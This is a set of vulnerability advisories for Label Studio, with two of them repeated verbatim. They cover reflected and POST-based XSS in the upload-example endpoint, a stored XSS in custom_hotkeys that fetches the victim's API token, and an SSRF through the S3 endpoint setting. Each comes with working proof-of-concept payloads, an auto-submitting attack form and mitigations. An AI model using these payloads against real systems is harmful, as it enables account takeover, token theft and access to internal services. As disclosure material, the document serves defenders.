Label Studio's /projects/upload-example endpoint allows injection of arbitrary HTML through a GET request with an appropriately crafted label_config query parameter. By crafting a specially formatted XML label config with inline task data containing malicious HTML/JavaScript, an attacker can achieve Cross-Site Scripting (XSS). While the application has a Content Security Policy (CSP), it is only set in report-only mode, making it ineffective at preventing script execution.

The vulnerability exists because the upload-example endpoint renders user-provided HTML content without proper sanitization on a GET request. This allows attackers to inject and execute arbitrary JavaScript in victims' browsers by getting them to visit a maliciously crafted URL.

This is considered vulnerable because it enables attackers to execute JavaScript in victims' contexts, potentially allowing theft of sensitive data, session hijacking, or other malicious actions.

Steps to reproduce

1. Create a malicious label config that includes an XSS payload in embedded task data:

<View><!-- {"data": {"text": "<div><img src=x
onerror=eval(atob(`YWxlcnQoIlhTUyIp`))></div>"}} --><HyperText name="text"
value="$text"/></View>

2. URL encode the payload and access the following URL:

• http://app/projects/upload-example/?label_config=%3CView%3E%3C!--%20{%22data%22:%20{%22text%22:%20%22%3Cdiv%3E%3Cimg%20src=x%20onerror=eval(atob(YWxlcnQoIlhTUyIp))%3E%3C/div%3E%22}}%20--%3E%3CHyperText%20name=%22text%22%20value=%22$text%22/%3E%3C/View%3E

When executed, the payload causes the application to render an HTML page containing an img tag that fails to load, triggering the onerror event handler which executes base64-decoded JavaScript, demonstrating successful XSS execution in the victim's browser.

Mitigations

• Enable the Content Security Policy in enforcement mode instead of report-only mode to actively block unauthorized script execution
• Deprecate the GET behavior at the example-config endpoint since it's not used

Impact

The vulnerability requires no special privileges and can be exploited by getting a victim to visit a crafted URL. The impact is high as it allows arbitrary JavaScript execution in victims' browsers, potentially exposing sensitive data or enabling account takeover through session theft.

Summary

The vulnerability allows an attacker to inject a malicious script into the context of a web page, which can lead to data theft, unauthorized actions on behalf of the user, and other attacks.

Details

The vulnerability is reproducible when sending a properly formatted request to the POST /projects/upload-example/ endpoint. In the source code, the vulnerability is located at label_studio/projects/views.py.

39: @require_http_methods(['POST'])
40: def upload_example_using_config(request):
41:     """Generate upload data example by config only"""
42:     config = request.POST.get('label_config', '')
43: 
44:     org_pk = get_organization_from_request(request)
45:     secure_mode = False
46:     if org_pk is not None:
47:         org = generics.get_object_or_404(Organization, pk=org_pk)
48:         secure_mode = org.secure_mode
49: 
50:     try:
51:         Project.validate_label_config(config)
52:         task_data, _, _ = get_sample_task(config, secure_mode)
53:         task_data = playground_replacements(request, task_data)
54:     except (ValueError, ValidationError, lxml.etree.Error):
55:         response = HttpResponse('error while example generating', status=status.HTTP_400_BAD_REQUEST)
56:     else:
57:         response = HttpResponse(json.dumps(task_data))
58:     return response

The vulnerability is specifically located in line 57, where HttpResponse is used.

57:         response = HttpResponse(json.dumps(task_data))

PoC

Send the following request after changing the {host} to your own.

POST /projects/upload-example/ HTTP/1.1
Host: {host}
Content-Type: application/x-www-form-urlencoded
Content-Length: 67

label_config=%3cView%3e%3cText%20name%3d%22text%22%20value%3d%22$textjmwwi%26lt%3bscript%26gt%3balert(1)%26lt%3b%2fscript%26gt%3bs8m37%22%2f%3e%3c%2fView%3e

Or you can create a vulnerable HTML page by changing {domain} beforehand, which can later be sent to the victim.

<html>
  <body>
    <form action="http://{domain}/projects/upload-example/" method="POST">
      <input type="hidden" name="label&#95;config" value="&lt;View&gt;&lt;Text&#32;name&#61;&quot;text&quot;&#32;value&#61;&quot;&#36;textjmwwi&amp;lt&#59;script&amp;gt&#59;alert&#40;1&#41;&amp;lt&#59;&#47;script&amp;gt&#59;s8m37&quot;&#47;&gt;&lt;&#47;View&gt;" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

Impact

• Malicious code execution: The user may be forced to perform unwanted actions within their Label Studio account. This includes accessing document.cookie, but note that Label Studio session cookies are marked http-only, mitigating any possibility of session theft.

Prologue

These vulnerabilities have been found and chained by DCODX-AI. Validation of the exploit chain has been confirmed manually.

Summary

A persistent stored cross-site scripting (XSS) vulnerability exists in the custom_hotkeys functionality of the application. An authenticated attacker (or one who can trick a user/administrator into updating their custom_hotkeys) can inject JavaScript code that executes in other users’ browsers when those users load any page using the templates/base.html template. Because the application exposes an API token endpoint (/api/current-user/token) to the browser and lacks robust CSRF protection on some API endpoints, the injected script may fetch the victim’s API token or call token reset endpoints — enabling full account takeover and unauthorized API access. This vulnerability is of critical severity due to the broad impact, minimal requirements for exploitation (authenticated user), and the ability to escalate privileges to full account compromise.

Details

Within templates/base.html, the application renders user-controlled hotkey configuration via the following JavaScript snippet:

var __customHotkeys = {{ user.custom_hotkeys|json_dumps_ensure_ascii|safe }};

Here, user.custom_hotkeys is run through json_dumps_ensure_ascii (in core/templatetags/filters.py) which performs json.dumps(dictionary, ensure_ascii=False) but does not escape closing </script> sequences or other dangerous characters. Because the template uses the |safe filter, the output is inserted into the HTML <script> context without further escaping.

In users/api.py, the PATCH endpoint allows updating of custom_hotkeys:

user.custom_hotkeys = serializer.validated_data['custom_hotkeys']
user.save(update_fields=['custom_hotkeys'])

The serializer allows < and > characters (e.g., "…"), so an attacker can craft a JSON payload via PATCH /api/users/{id}/:

{
   "first_name":"poc",
   "last_name":"test",
   "phone":"123",
   "custom_hotkeys":{
      "INJ;</script><script>fetch(`/api/current-user/token`).then(r=>r.json()).then(t=>console.log(t.token))</script><script>/*xx":{
         "key":"x",
         "active":true
      }
   }
}

When another user loads a page using templates/base.html (for example /user/account/ or /), the rendered JavaScript includes the injected string, causing closing of the original tag and insertion of malicious <script> code. Because the application exposes /api/current-user/token ( in GET) which returns the user’s API token and CSRF protection is relaxed for this API path, the malicious script can fetch the token and send it to an attacker-controlled endpoint, thereby enabling account takeover and further API misuse.

PoC

1. Login to the application

• Go to the login page: GET /user/login/

2. Identify your user ID (via API)

• GET /api/current-user/whoami
• In the response JSON you will see your user ID (for example "id": 123).
• Note this ID for the next step.

3. Inject a malicious hotkey payload in the PATCH request /api/users/{id}

• Using the user API, send a PATCH request to update your custom_hotkeys.

Example request

PATCH /api/users/25 HTTP/1.1
Host: 0.0.0.0:8080
Content-Length: 288
sentry-trace: 926224d7bbfb4f0da9f6ebe333744a52-88db4876de60036c-0
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36
content-type: application/json
baggage: sentry-environment=opensource,sentry-release=1.21.0,sentry-public_key=5f51920ff82a4675a495870244869c6b,sentry-trace_id=926224d7bbfb4f0da9f6ebe333744a52,sentry-sample_rate=0.01,sentry-transaction=%2Fuser%2Faccount,sentry-sampled=false
Accept: */*
Origin: http://0.0.0.0:8080
Referer: http://0.0.0.0:8080/user/account/personal-info
Accept-Encoding: gzip, deflate, br
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8,it;q=0.7,nl;q=0.6
Cookie: {STRIPPED}
Connection: keep-alive

{
   "first_name":"poc",
   "last_name":"test",
   "phone":"123",
   "custom_hotkeys":{
      "INJ;</script><script>fetch(`/api/current-user/token`).then(r=>r.json()).then(t=>console.log(t.token))</script><script>/*xx":{
         "key":"x",
         "active":true
      }
   }
}

Example response

{"id":25,"first_name":"poc","last_name":"test","username":"test","email":"test@dcodx.com","last_activity":"2025-10-24T15:18:18.494398Z","custom_hotkeys":{"INJ;</script><script>fetch(`/api/current-user/token`).then(r=>r.json()).then(t=>alert(t.token))</script><script>/*xx":{"key":"x","active":true}},"avatar":null,"initials":"pt","phone":"123","active_organization":1,"active_organization_meta":{"title":"Label Studio","email":"poc_test_xgd9ce@example.com"},"allow_newsletters":false,"date_joined":"2025-10-24T15:18:18.494532Z"}

4. Verify the injected string persists

• Still logged in as your user, go to your account page (e.g., GET /user/account/).
• See the alert containing the API access token for the user. In a real world attack this token is sent to the attacker server

Impact

Exploitation impact:

• Full account takeover of victim user(s).
• Exposure of API tokens granting access to internal/external APIs.
• Unauthorized API access, data exfiltration, token reset or privilege escalation.
• If victim is administrator or privileged user, wide system compromise possible.

Who is impacted:

• All users who load the template and whose session/token is accessible via browser.
• The organization’s application and data.
• Potentially other end-users if cross-user token exfiltration occurs.

Description

Label Studio's S3 storage integration feature contains a Server-Side Request Forgery (SSRF) vulnerability in its endpoint configuration. When creating an S3 storage connection, the application allows users to specify a custom S3 endpoint URL via the s3_endpoint parameter. This endpoint URL is passed directly to the boto3 AWS SDK without proper validation or restrictions on the protocol or destination.

The vulnerability allows an attacker to make the application send HTTP requests to arbitrary internal services by specifying them as the S3 endpoint. When the storage sync operation is triggered, the application attempts to make S3 API calls to the specified endpoint, effectively making HTTP requests to the target service and returning the response in error messages.

This SSRF vulnerability enables attackers to bypass network segmentation and access internal services that should not be accessible from the external network. The vulnerability is particularly severe because error messages from failed requests contain the full response body, allowing data exfiltration from internal services.

Steps to reproduce

1. Create an account in Label Studio

2. Create a new project with basic configuration

3. Create an S3 storage connection with the following configuration:

   {
     "project": 1,
     "title": "Test Storage",
     "bucket": "<filename>",
     "s3_endpoint": "http://internal-web",
     "use_blob_urls": true,
     "aws_access_key_id": "test",
     "aws_secret_access_key": "test"
   }
   

4. Trigger a storage sync operation by sending a POST request to /api/storages/s3/[storage_id]/sync

The application will attempt to connect to the specified endpoint URL as if it were an S3 service. When the request fails due to invalid S3 API responses, the error message will contain the raw response from the internal service, allowing access to internal resources.

Mitigations

• Implement strict validation of S3 endpoint URLs to allow only valid S3service endpoints
• Add an allowlist of endpoint domains and protocols
• Sanitize error messages to prevent leakage of sensitive information from failed requests
• Consider implementing network-level controls to restrict outbound connections from the application server

Impact

This vulnerability has high severity as it allows authenticated users to make requests to arbitrary internal services from the application server, potentially exposing sensitive internal resources and bypassing network segmentation. The inclusion of response data in error messages makes this particularly effective for data exfiltration.

Description

Label Studio's /projects/upload-example endpoint allows injection of arbitrary HTML through a GET request with an appropriately crafted label_config query parameter. By crafting a specially formatted XML label config with inline task data containing malicious HTML/JavaScript, an attacker can achieve Cross-Site Scripting (XSS). While the application has a Content Security Policy (CSP), it is only set in report-only mode, making it ineffective at preventing script execution.

The vulnerability exists because the upload-example endpoint renders user-provided HTML content without proper sanitization on a GET request. This allows attackers to inject and execute arbitrary JavaScript in victims' browsers by getting them to visit a maliciously crafted URL.

This is considered vulnerable because it enables attackers to execute JavaScript in victims' contexts, potentially allowing theft of sensitive data, session hijacking, or other malicious actions.

Steps to reproduce

1. Create a malicious label config that includes an XSS payload in embedded task data:

<View><!-- {"data": {"text": "<div><img src=x
onerror=eval(atob(`YWxlcnQoIlhTUyIp`))></div>"}} --><HyperText name="text"
value="$text"/></View>

2. URL encode the payload and access the following URL:

• http://app/projects/upload-example/?label_config=%3CView%3E%3C!--%20{%22data%22:%20{%22text%22:%20%22%3Cdiv%3E%3Cimg%20src=x%20onerror=eval(atob(YWxlcnQoIlhTUyIp))%3E%3C/div%3E%22}}%20--%3E%3CHyperText%20name=%22text%22%20value=%22$text%22/%3E%3C/View%3E

When executed, the payload causes the application to render an HTML page containing an img tag that fails to load, triggering the onerror event handler which executes base64-decoded JavaScript, demonstrating successful XSS execution in the victim's browser.

Mitigations

• Enable the Content Security Policy in enforcement mode instead of report-only mode to actively block unauthorized script execution
• Deprecate the GET behavior at the example-config endpoint since it's not used

Impact

The vulnerability requires no special privileges and can be exploited by getting a victim to visit a crafted URL. The impact is high as it allows arbitrary JavaScript execution in victims' browsers, potentially exposing sensitive data or enabling account takeover through session theft.

Summary

The vulnerability allows an attacker to inject a malicious script into the context of a web page, which can lead to data theft, unauthorized actions on behalf of the user, and other attacks.

Details

The vulnerability is reproducible when sending a properly formatted request to the POST /projects/upload-example/ endpoint. In the source code, the vulnerability is located at label_studio/projects/views.py.

39: @require_http_methods(['POST'])
40: def upload_example_using_config(request):
41:     """Generate upload data example by config only"""
42:     config = request.POST.get('label_config', '')
43: 
44:     org_pk = get_organization_from_request(request)
45:     secure_mode = False
46:     if org_pk is not None:
47:         org = generics.get_object_or_404(Organization, pk=org_pk)
48:         secure_mode = org.secure_mode
49: 
50:     try:
51:         Project.validate_label_config(config)
52:         task_data, _, _ = get_sample_task(config, secure_mode)
53:         task_data = playground_replacements(request, task_data)
54:     except (ValueError, ValidationError, lxml.etree.Error):
55:         response = HttpResponse('error while example generating', status=status.HTTP_400_BAD_REQUEST)
56:     else:
57:         response = HttpResponse(json.dumps(task_data))
58:     return response

The vulnerability is specifically located in line 57, where HttpResponse is used.

57:         response = HttpResponse(json.dumps(task_data))

PoC

Send the following request after changing the {host} to your own.

POST /projects/upload-example/ HTTP/1.1
Host: {host}
Content-Type: application/x-www-form-urlencoded
Content-Length: 67

label_config=%3cView%3e%3cText%20name%3d%22text%22%20value%3d%22$textjmwwi%26lt%3bscript%26gt%3balert(1)%26lt%3b%2fscript%26gt%3bs8m37%22%2f%3e%3c%2fView%3e

Or you can create a vulnerable HTML page by changing {domain} beforehand, which can later be sent to the victim.

<html>
  <body>
    <form action="http://{domain}/projects/upload-example/" method="POST">
      <input type="hidden" name="label&#95;config" value="&lt;View&gt;&lt;Text&#32;name&#61;&quot;text&quot;&#32;value&#61;&quot;&#36;textjmwwi&amp;lt&#59;script&amp;gt&#59;alert&#40;1&#41;&amp;lt&#59;&#47;script&amp;gt&#59;s8m37&quot;&#47;&gt;&lt;&#47;View&gt;" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

Impact

• Malicious code execution: The user may be forced to perform unwanted actions within their Label Studio account. This includes accessing document.cookie, but note that Label Studio session cookies are marked http-only, mitigating any possibility of session theft.